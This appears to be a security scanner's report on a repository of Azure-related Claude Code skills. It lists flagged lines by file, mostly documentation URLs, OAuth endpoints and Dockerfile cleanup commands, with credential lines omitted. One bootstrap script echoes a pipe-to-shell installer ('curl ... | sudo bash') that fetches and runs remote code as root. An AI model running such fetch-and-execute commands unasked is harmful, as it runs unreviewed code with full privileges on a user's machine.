    publicClient: {     redirectUris: [       'http://localhost'
  • Network accessline 66
    redirectUris: [       'http://localhost'       'myapp://auth'
  • Network accessline 67
    'http://localhost'
  • Network accessline 68
    'myapp://auth'       'https://login.microsoftonline.com/common/oauth2/nativeclient'     ]
  • Network accessline 69
    'https://login.microsoftonline.com/common/oauth2/nativeclient'
  • Network accessline 175
    // Information URLs   info: {     marketingUrl: 'https://myapp.example.com'
  • Network accessline 176
    info: {     marketingUrl: 'https://myapp.example.com'     privacyStatementUrl: 'https://myapp.example.com/privacy'
  • Network accessline 177
    marketingUrl: 'https://myapp.example.com'
  • Network accessline 178
    privacyStatementUrl: 'https://myapp.example.com/privacy'
  • Network accessline 179
    supportUrl: 'https://myapp.example.com/support'
  • Network accessline 180
    termsOfServiceUrl: 'https://myapp.example.com/terms'

harness/claude-code/skills/azure-entra-app-registration/references/api-permissions.md

  • Network accessline 49
    Examples: https://graph.microsoft.com/User.Read
  • Network accessline 50
    https://graph.microsoft.com/User.Read
  • Network accessline 51
    https://graph.microsoft.com/Mail.Send
  • Network accessline 60
    https://graph.microsoft.com/.default
  • Network accessline 134
    1. Visit https://developer.microsoft.com/graph/graph-explorer
  • Network accessline 140
    Visit: https://learn.microsoft.com/en-us/graph/permissions-reference
  • Network accessline 258
    [Credential-related source omitted]
  • Network accessline 259
    [Credential-related source omitted]
  • Network accessline 334
    **Note:** Permission IDs may change. Always verify against the official [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference) for the most current values.
  • Network accessline 338
    - [Microsoft Graph Permissions Reference](https://learn.microsoft.com/en-us/graph/permissions-reference)
  • Network accessline 339
    - [Permission Types](https://learn.microsoft.com/en-us/entra/identity-platform/permissions-consent-overview)
  • Network accessline 340
    - [Admin Consent Workflow](https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-admin-consent-workflow)
  • Network accessline 341
    - [Consent Framework](https://learn.microsoft.com/en-us/entra/identity-platform/consent-framework)

harness/claude-code/skills/azure-entra-app-registration/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/skills/azure-entra-app-registration/references/cli-commands.md

  • Network accessline 29
    az ad app create \   --display-name "MyWebApp" \   --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 30
    --display-name "MyWebApp" \   --web-redirect-uris "https://myapp.com/callback" \   --sign-in-audience "AzureADMyOrg"
  • Network accessline 31
    --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 37
    az ad app create \   --display-name "MySpaApp" \   --spa-redirect-uris "http://localhost:3000" \
  • Network accessline 38
    --display-name "MySpaApp" \   --spa-redirect-uris "http://localhost:3000" \   --sign-in-audience "AzureADMyOrg"
  • Network accessline 39
    --spa-redirect-uris "http://localhost:3000" \
  • Network accessline 45
    az ad app create \   --display-name "MyDesktopApp" \   --public-client-redirect-uris "http://localhost" \
  • Network accessline 46
    --display-name "MyDesktopApp" \   --public-client-redirect-uris "http://localhost" \   --sign-in-audience "AzureADMyOrg"
  • Network accessline 47
    --public-client-redirect-uris "http://localhost" \
  • Network accessline 53
    az ad app create \   --display-name "MyMultiTenantApp" \   --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 54
    --display-name "MyMultiTenantApp" \   --web-redirect-uris "https://myapp.com/callback" \   --sign-in-audience "AzureADMultipleOrgs"
  • Network accessline 55
    --web-redirect-uris "https://myapp.com/callback" \
  • Network accessline 116
    az ad app update --id $APP_ID \   --web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth"
  • Network accessline 117
    --web-redirect-uris "https://myapp.com/callback" "https://myapp.com/auth"
  • Network accessline 122
    az ad app update --id $APP_ID \   --spa-redirect-uris "http://localhost:3000" "http://localhost:5000"
  • Network accessline 123
    --spa-redirect-uris "http://localhost:3000" "http://localhost:5000"
  • Network accessline 128
    az ad app update --id $APP_ID \   --public-client-redirect-uris "http://localhost" "myapp://auth"
  • Network accessline 129
    --public-client-redirect-uris "http://localhost" "myapp://auth"
  • Network accessline 364
    # Variables APP_NAME="MyApplication" REDIRECT_URI="http://localhost:3000"
  • Network accessline 366
    REDIRECT_URI="http://localhost:3000"

harness/claude-code/skills/azure-entra-app-registration/references/console-app-example.md

  • Network accessline 44
    .Create(ClientId)                     .WithAuthority(AzureCloudInstance.AzurePublic, TenantId)                     .WithRedirectUri("http://localhost")
  • Network accessline 45
    .WithAuthority(AzureCloudInstance.AzurePublic, TenantId)                     .WithRedirectUri("http://localhost")                     .Build();
  • Network accessline 46
    .WithRedirectUri("http://localhost")
  • Network accessline 87
    var response = await httpClient.GetAsync("https://graph.microsoft.com/v1.0/me");
  • Network accessline 139
    CLIENT_ID = "YOUR_APPLICATION_CLIENT_ID" TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}"
  • Network accessline 140
    TENANT_ID = "YOUR_TENANT_ID" AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}" SCOPES = ["User.Read"]
  • Network accessline 141
    AUTHORITY = f"https://login.microsoftonline.com/{TENANT_ID}"
  • Access to secretsline 190
    [Credential-related source omitted]
  • Access to secretsline 193
    [Credential-related source omitted]
  • Network accessline 197
    response = requests.get(
  • Network accessline 198
    'https://graph.microsoft.com/v1.0/me',
  • Access to secretsline 226
    [Credential-related source omitted]
  • Access to secretsline 231
    [Credential-related source omitted]
  • Network accessline 268
    auth: {         clientId: "YOUR_APPLICATION_CLIENT_ID",         authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Network accessline 269
    clientId: "YOUR_APPLICATION_CLIENT_ID",         authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",     }
  • Network accessline 270
    authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Network accessline 280
    const authCodeUrlParameters = {         scopes: scopes,         redirectUri: "http://localhost:3000",
  • Network accessline 281
    scopes: scopes,         redirectUri: "http://localhost:3000",     };
  • Network accessline 282
    redirectUri: "http://localhost:3000",
  • Network accessline 308
    auth: {             clientId: "YOUR_APPLICATION_CLIENT_ID",             authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Network accessline 309
    clientId: "YOUR_APPLICATION_CLIENT_ID",             authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",             clientSecret: "YOUR_CLIENT_SECRET", // From app registration
  • Network accessline 310
    authority: "https://login.microsoftonline.com/YOUR_TENANT_ID",
  • Access to secretsline 311
    [Credential-related source omitted]
  • Network accessline 317
    const clientCredentialRequest = {         scopes: ["https://graph.microsoft.com/.default"],
  • Network accessline 318
    scopes: ["https://graph.microsoft.com/.default"],
  • Network accessline 333
    try {         const response = await axios.get('https://graph.microsoft.com/v1.0/me', options);
  • Network accessline 334
    const response = await axios.get('https://graph.microsoft.com/v1.0/me', options);
  • Network accessline 392
    - [MSAL Libraries](https://learn.microsoft.com/entra/msal/)

harness/claude-code/skills/azure-entra-app-registration/references/first-app-registration.md

  • Network accessline 16
    - Azure subscription (free tier works) - Azure Portal access: https://portal.azure.com
  • Network accessline 17
    - Azure Portal access: https://portal.azure.com
  • Network accessline 22
    1. Open [Azure Portal](https://portal.azure.com)
  • Network accessline 58
    **URI examples:** - Web app: `https://localhost:5001/signin-oidc`
  • Network accessline 59
    - Web app: `https://localhost:5001/signin-oidc`
  • Network accessline 60
    - SPA: `http://localhost:3000`
  • Network accessline 61
    - Console/Desktop: `http://localhost`
  • Network accessline 63
    **For your first app:** Select **"Public client/native"** and enter `http://localhost`
  • Access to secretsline 168
    [Credential-related source omitted]
  • Network accessline 187
    # Interactive login az login --scope "https://graph.microsoft.com/.default"
  • Network accessline 188
    az login --scope "https://graph.microsoft.com/.default"
  • Network accessline 190
    # Get an access token az account get-access-token --resource "https://graph.microsoft.com"
  • Network accessline 191
    az account get-access-token --resource "https://graph.microsoft.com"
  • Network accessline 213
    **Tip:** Once you get the access token, you can use [jwt.ms](https://jwt.ms) to decode it and inspect its claims.
  • Network accessline 251
    - [Microsoft Entra ID Documentation](https://learn.microsoft.com/en-us/entra/identity-platform/)

harness/claude-code/skills/azure-entra-app-registration/references/oauth-flows.md

  • Network accessline 26
    https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize?
  • Network accessline 50
    https://your-app.com/callback?
  • Network accessline 62
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Network accessline 87
    GET https://graph.microsoft.com/v1.0/me
  • Access to secretsline 88
    [Credential-related source omitted]
  • Network accessline 126
    https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize?
  • Network accessline 139
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Network accessline 177
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Network accessline 180
    client_id={application_id} &scope=https://graph.microsoft.com/.default
  • Network accessline 181
    &scope=https://graph.microsoft.com/.default
  • Access to secretsline 182
    [Credential-related source omitted]
  • Network accessline 186
    **Parameters:** - `scope`: Use `{resource}/.default` format   - For Microsoft Graph: `https://graph.microsoft.com/.default`
  • Network accessline 187
    - `scope`: Use `{resource}/.default` format   - For Microsoft Graph: `https://graph.microsoft.com/.default`   - For your API: `api://{api_app_id}/.default`
  • Network accessline 188
    - For Microsoft Graph: `https://graph.microsoft.com/.default`
  • Access to secretsline 194
    [Credential-related source omitted]
  • Network accessline 203
    GET https://graph.microsoft.com/v1.0/users
  • Access to secretsline 204
    [Credential-related source omitted]
  • Network accessline 228
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode
  • Network accessline 238
    "user_code": "GTHK-QPMN",   "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8",   "verification_uri": "https://microsoft.com/devicelogin",
  • Network accessline 239
    "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8",   "verification_uri": "https://microsoft.com/devicelogin",   "expires_in": 900,
  • Network accessline 240
    "verification_uri": "https://microsoft.com/devicelogin",
  • Network accessline 241
    "expires_in": 900,   "interval": 5,   "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate."
  • Network accessline 242
    "interval": 5,   "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate." }
  • Network accessline 243
    "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GTHK-QPMN to authenticate."
  • Network accessline 250
    To sign in, open https://microsoft.com/devicelogin
  • Network accessline 257
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Access to secretsline 278
    [Credential-related source omitted]
  • Network accessline 299
    POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token
  • Access to secretsline 306
    [Credential-related source omitted]
  • Access to secretsline 309
    [Credential-related source omitted]
  • Access to secretsline 314
    [Credential-related source omitted]
  • Network accessline 335
    {   "aud": "https://graph.microsoft.com",
  • Network accessline 336
    "aud": "https://graph.microsoft.com",
  • Network accessline 337
    "iss": "https://sts.windows.net/{tenant}/",
  • Network accessline 374
    https://graph.microsoft.com/User.Read
  • Network accessline 375
    https://graph.microsoft.com/Mail.Send
  • Network accessline 398
    [OAuth 2.0 spec](https://www.rfc-editor.org/rfc/rfc6749)

harness/claude-code/skills/azure-entra-app-registration/references/troubleshooting.md

  • Network accessline 20
    AADSTS50011: The redirect URI 'http://localhost:3000' specified in the request
  • Network accessline 30
    Registered: https://myapp.com/callback
  • Network accessline 31
    Request:    https://myapp.com/callback/  ❌ (trailing slash)
  • Network accessline 32
    Request:    https://MyApp.com/callback   ❌ (case difference)
  • Network accessline 33
    Request:    https://myapp.com/callback   ✅
  • Network accessline 39
    # CLI:    az ad app update --id $APP_ID \      --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback"
  • Network accessline 40
    az ad app update --id $APP_ID       --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback"
  • Network accessline 41
    --web-redirect-uris "http://localhost:3000" "https://myapp.com/callback"
  • Network accessline 177
    Unless the the access token is encrypted, you can decode and view its claims securely at https://jwt.ms. **Don't** use any other website to decode an access token. Compare the claims in the token with the app registration's configuration to
  • Network accessline 183
    **Tool:** https://jwt.ms
  • Network accessline 268
    - [Microsoft Q&A](https://learn.microsoft.com/answers/)
  • Network accessline 269
    - [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/)

harness/claude-code/skills/azure-infrastructure/scripts/bootstrap.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 154
    echo "Install missing tools:"         echo "  terraform: brew install terraform"         echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 155
    echo "  terraform: brew install terraform"         echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"         echo "  kubectl:   az aks install-cli"
  • Dangerous shell operationline 156
    echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 156
    echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 309
    CLUSTER_NAME=$(terraform output -raw kubernetes_cluster_name)     ACR_NAME=$(terraform output -raw acr_login_server | cut -d'.' -f1)     KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1)
  • Network accessline 311
    KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1)
  • Network accessline 364
    log_step "Installing ArgoCD..."     kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml
  • Network accessline 365
    kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml

harness/claude-code/skills/azure-infrastructure/scripts/platform-bootstrap.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 536
    echo "Access URLs:"         echo "  ArgoCD:    https://${argocd_url}"
  • Network accessline 537
    echo "  ArgoCD:    https://${argocd_url}"
  • Network accessline 538
    echo "  Backstage: https://${backstage_url}"
  • Network accessline 539
    echo "  Grafana:  https://${grafana_url}"
  • Dangerous shell operationline 591
    rm -f "$CHECKPOINT_FILE"

harness/claude-code/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/aspnet-core.md

  • Network accessline 180
    - **Default port:** 8080 (since .NET 8; previously 80 in .NET 7 and earlier) - **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080`
  • Network accessline 181
    - **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080`
  • Network accessline 182
    - **Code override:** `builder.WebHost.UseUrls("http://+:8080")` in `Program.cs`

harness/claude-code/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/django.md

  • Access to secretsline 158
    [Credential-related source omitted]
  • Network accessline 162
    Gunicorn logs the port on startup: `Listening at: http://0.0.0.0:8000`

harness/claude-code/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/fastapi.md

  • Access to secretsline 155
    [Credential-related source omitted]
  • Network accessline 157
    Uvicorn logs the port on startup: `Uvicorn running on http://0.0.0.0:8000`

harness/claude-code/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/flask.md

  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 168
    [Credential-related source omitted]
  • Network accessline 172
    Gunicorn logs the port on startup: `Listening at: http://0.0.0.0:8000`

harness/claude-code/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/go.md

  • Network accessline 108
    config.BeforeConnect = func(ctx context.Context, cfg *pgx.ConnConfig) error {     token, err := cred.GetToken(ctx, policy.TokenRequestOptions{         Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"},
  • Network accessline 109
    token, err := cred.GetToken(ctx, policy.TokenRequestOptions{         Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"},     })
  • Network accessline 110
    Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"},
  • Network accessline 199
    The `./cmd/server` path is conventional for Go projects using the [Standard Go Project Layout](https://github.com/golang-standards/project-layout). Adjust to match the actual `main` package location.

harness/claude-code/skills/azure-kubernetes-app-deploy/phases/quick-deploy.md

  • Network accessline 165
    If missing: `kubectl apply -f https://github.com/kubernetes-sigs/gateway-api/releases/latest/download/standard-install.yaml`
  • Network accessline 202
    Wait up to 3 minutes for external IP, then curl the health endpoint.

harness/claude-code/skills/azure-kubernetes-app-deploy/references/detection.md

  • Network accessline 32
    | Source code | `app.listen(<number>)`, `.listen(<number>)`, `server.port=<number>` | `app.listen(3000)` | | `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | `
  • Network accessline 33
    | `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` | | Framework defaults | Use known defaults if not
  • Network accessline 34
    | `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` |

harness/claude-code/skills/azure-kubernetes-app-deploy/references/workload-identity.md

  • Network accessline 39
    Federated Credential   ├── Issuer:  https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id>
  • Network accessline 40
    ├── Issuer:  https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id>
  • Network accessline 102
    [Credential-related source omitted]
  • Network accessline 103
    [Credential-related source omitted]
  • Network accessline 116
    [Credential-related source omitted]
  • Network accessline 118
    new TokenRequestContext(new[] { "https://ossrdbms-aad.database.windows.net/.default" }));
  • Network accessline 182
    [Credential-related source omitted]
  • Network accessline 183
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Network accessline 196
    [Credential-related source omitted]
  • Network accessline 198
    new TokenRequestContext(new[] { "https://redis.azure.com/.default" }));

harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.Dockerfile

  • Network accessline 56
    ENV ASPNETCORE_URLS="http://+:8080" \
  • Network accessline 60
    # No HEALTHCHECK: the aspnet runtime image does not include curl or wget.
  • Network accessline 61
    # Kubernetes liveness/readiness probes (configured in deployment.yaml) handle # health checking in AKS. For local Docker usage, install wget or add # app.MapHealthChecks("/healthz") and use a custom health check binary.
  • Network accessline 62
    # health checking in AKS. For local Docker usage, install wget or add

harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.dockerignore

  • Access to secretsline 7
    [Credential-related source omitted]

harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/go.dockerignore

  • Access to secretsline 9
    [Credential-related source omitted]

harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.Dockerfile

  • Network accessline 74
    # No HEALTHCHECK: the JRE Alpine image does not include wget or curl.

harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.dockerignore

  • Access to secretsline 8
    [Credential-related source omitted]

harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/node.dockerignore

  • Access to secretsline 4
    [Credential-related source omitted]

harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.Dockerfile

  • Network accessline 60
    # HEALTHCHECK is omitted — Kubernetes liveness/readiness probes handle health # checks in AKS. Adding a Dockerfile HEALTHCHECK would require installing curl # in the runtime image, increasing size and attack surface.

harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.dockerignore

  • Access to secretsline 8
    [Credential-related source omitted]

harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.Dockerfile

  • Dangerous shell operationline 30
    && rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 41
    && rm -rf src target/release/deps/app* target/release/app*

harness/claude-code/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.dockerignore

  • Access to secretsline 3
    [Credential-related source omitted]

harness/claude-code/skills/azure-kubernetes-app-deploy/templates/mermaid/summary-dashboard.md

  • Network accessline 17
    | Resource | Type | Name | Portal Link | |----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 18
    |----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | | AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 19
    | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 20
    | AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 21
    | Container Registry | registries | {{ACR_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 22
    | {{BACKING_SERVICE}} | {{TYPE}} | {{NAME}} | `https://portal.azure.com/...` |

harness/claude-code/skills/azure-kubernetes-automatic-readiness/SKILL.md

  • Network accessline 25
    You are an AKS Automatic compatibility assessment agent. Your job is to evaluate whether Kubernetes workloads and cluster configurations are compatible with [AKS Automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic), i
  • Network accessline 125
    If `mcp_azure_mcp_aks` is not available, inform the user: > "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For n
  • Network accessline 126
    > "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline."

harness/claude-code/skills/azure-kubernetes-automatic-readiness/references/mcp-integration.md

  • Network accessline 93
    "description": "OIDC issuer not enabled",       "remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>",       "documentationUrl": "https://learn.microsoft.com/azure/aks/..."
  • Network accessline 94
    "remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>",       "documentationUrl": "https://learn.microsoft.com/azure/aks/..."     }
  • Network accessline 95
    "documentationUrl": "https://learn.microsoft.com/azure/aks/..."
  • Network accessline 162
    If `mcp_azure_mcp_aks` is not available, say: > "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local ma
  • Network accessline 163
    > "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline — export them with `kubectl ge
  • Network accessline 199
    | Error | Cause | Fix | |---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline |
  • Network accessline 200
    |---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline | | `HTTP 401 Unauthorized` | Not logged in |
  • Network accessline 201
    | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline |

harness/claude-code/skills/azure-kubernetes/SKILL.md

  • Network accessline 76
    - **Azure CNI Overlay** (recommended): pod IPs from private overlay range, not VNet-routable, scales to large environments and good for most workloads - **Azure CNI (VNet-routable)**: pod IPs directly from VNet (pod subnet or node subnet), 
  • Network accessline 78
    - Docs: https://learn.microsoft.com/azure/aks/azure-cni-overlay

harness/claude-code/skills/azure-kusto-graph/references/EXAMPLES.md

  • Network accessline 3
    Paste any of these into **Copilot Chat** to see the skill in action. Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 4
    Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/claude-code/skills/azure-kusto-graph/references/KUSTO_EXPLORER_LAUNCH.md

  • Network accessline 69
    Save the `.kql` file as in Step 3 and suggest: - Open in the VS Code Kusto extension - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)
  • Network accessline 71
    - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)

harness/claude-code/skills/azure-kusto-irql-graph/SKILL.md

  • Network accessline 57
    - **Cluster**: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 144
    Use icons from `https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/`:
  • Network accessline 215
    let auth_mapping = '{"node_types":[{"type":"SrcIp","id":"SrcIp","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic).svg"},
  • Network accessline 232
    let mail_mapping = '{"node_types":[{"type":"EmailMessage","id":"Message","key":"Subject","props":["EnvTime","Subject","Verdict"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Media-Fil
  • Network accessline 247
    let suspicious_domain_mapping = '{"node_types":[{"type":"IP","id":"IP","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic)
  • Network accessline 264
    let proc_mapping = '{"node_types":[{"type":"Process","id":"Proc","key":"ProcessName","props":["ProcessName","ProcessCommandLine","ProcessHash"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-

harness/claude-code/skills/azure-kusto-irql-graph/references/EXAMPLES.md

  • Network accessline 3
    Paste any of these into **Copilot Chat** to see the skill in action. Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 4
    Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/claude-code/skills/azure-kusto-irql-graph/references/KUSTO_EXPLORER_LAUNCH.md

  • Network accessline 69
    Save the `.kql` file as in Step 3 and suggest: - Open in the VS Code Kusto extension - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)
  • Network accessline 71
    - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)

harness/claude-code/skills/azure-kusto-irql/SKILL.md

  • Network accessline 58
    **Public example cluster** (functions pre-deployed): - Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 59
    - Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/claude-code/skills/azure-kusto-irql/references/EXAMPLES.md

  • Network accessline 3
    Paste any of these into **Copilot Chat** to see the skill in action. Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 4
    Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/claude-code/skills/azure-kusto-irql/references/KUSTO_EXPLORER_LAUNCH.md

  • Network accessline 69
    Save the `.kql` file as in Step 3 and suggest: - Open in the VS Code Kusto extension - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)
  • Network accessline 71
    - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)

harness/claude-code/skills/azure-managed-redis-cache/references/access-and-network.md

  • Network accessline 32
    - [Authenticate to Azure Managed Redis with Microsoft Entra ID](https://learn.microsoft.com/azure/redis/entra-for-authentication)
  • Network accessline 33
    - [Azure Managed Redis network isolation](https://learn.microsoft.com/azure/redis/)
  • Network accessline 34
    - [DefaultAzureCredential](https://learn.microsoft.com/azure/developer/intro/azure-developer-create-resources)

harness/claude-code/skills/azure-managed-redis-cache/references/semantic-cache.md

  • Network accessline 39
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search)
  • Network accessline 40
    - [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/user_guide/llmcache/)
  • Network accessline 41
    - [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)

harness/claude-code/skills/azure-managed-redis-cache/references/session-store.md

  • Network accessline 27
    - [Azure Managed Redis](https://learn.microsoft.com/azure/redis/)
  • Network accessline 28
    - [Azure AI Foundry Agent Service threads](https://learn.microsoft.com/azure/ai-foundry/agents/)

harness/claude-code/skills/azure-managed-redis-cache/references/vector-memory.md

  • Network accessline 32
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search)
  • Network accessline 33
    - [RedisVL vector queries](https://redis.io/docs/latest/integrate/redisvl/)
  • Network accessline 34
    - [Azure AI Search vector search](https://learn.microsoft.com/azure/search/vector-search-overview)

harness/claude-code/skills/azure-observability-stack/SKILL.md

  • Network accessline 36
    # Add Helm repos helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 37
    helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 84
    # Check Prometheus targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 85
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 88
    [Credential-related source omitted]
  • Network accessline 90
    curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name'
  • Network accessline 103
